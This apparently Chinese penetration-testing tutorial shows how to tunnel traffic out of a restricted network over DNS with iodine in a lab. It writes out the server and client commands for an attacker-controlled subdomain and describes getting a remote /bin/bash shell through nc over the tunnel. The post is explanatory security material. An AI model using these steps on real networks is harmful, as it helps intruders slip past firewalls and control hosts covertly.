前言
在某些渗透测试环境下,获得了一个主机的权限但是该主机没有访问外网的权限,对于这种较为严格的网络环境,第一时间想到的就是隧道技术。常见的隧道技术有SSH\DNS\端口转发等,大多数端口都存在被禁用的可能,但是DNS作为基础服务被禁用的可能性却极小,其次使用DNS隧道可以增加通讯的隐蔽性,这里我们就尝试使用DNS协议来建立隧道。
网络拓扑
内网主机10.10.10.0/24除了udp/53端口不能主动访问外网任何端口,20.20.20.102模拟为权威服务器,20.20.20.101为dns隧道的server端。
准备工作
DNS隧道分为两种模式:
- 直连模式:客户端直接连接外网hacker_dns服务器,但部分企业不能访问非受信的DNS服务器,可能会导致连接失败。
- 中继模式:在权威DNS添加NS记录分配子域名服务器,客户端通过访问权威DNS服务器,权威DNS对hacker_dns服务器进行查询再返回给客户端。
这里我们采用中继模式,先新建ns主机的A记录,A记录指向hacker_dns服务器
再委派子域解析分配到hacker_dns服务器
在主机10.10.10.102解析测试ns1.rosetsec.com
iodine使用
下载地址:https://code.kryo.se/iodine/
启动服务端:
1 | iodined -c -P roset -f 1.1.1.1 iodine.rosetsec.com -DDD |
- -P 隧道密码
- -c 不检查客户端IP和端口
- -D 调试信息等级
- -f 前台执行便于调试
启动客户端:
1 | iodine -f -r -P roset iodine.rosetsec.com |
- -r 使用dns主机名来传递数据(默认直接修改DNS7层数据包数据来传递数据)
隧道建立完成后,在客户端ping对端隧道地址1.1.1.1可以发现ping包通讯成功绕过防火墙限制
可以看到ping包走的DNS协议传输
尝试用NC反弹一个shell,在客户端开启端口1234端口反弹一个/bin/bash
在服务端连接shell执行命令成功,传输全程走dns协议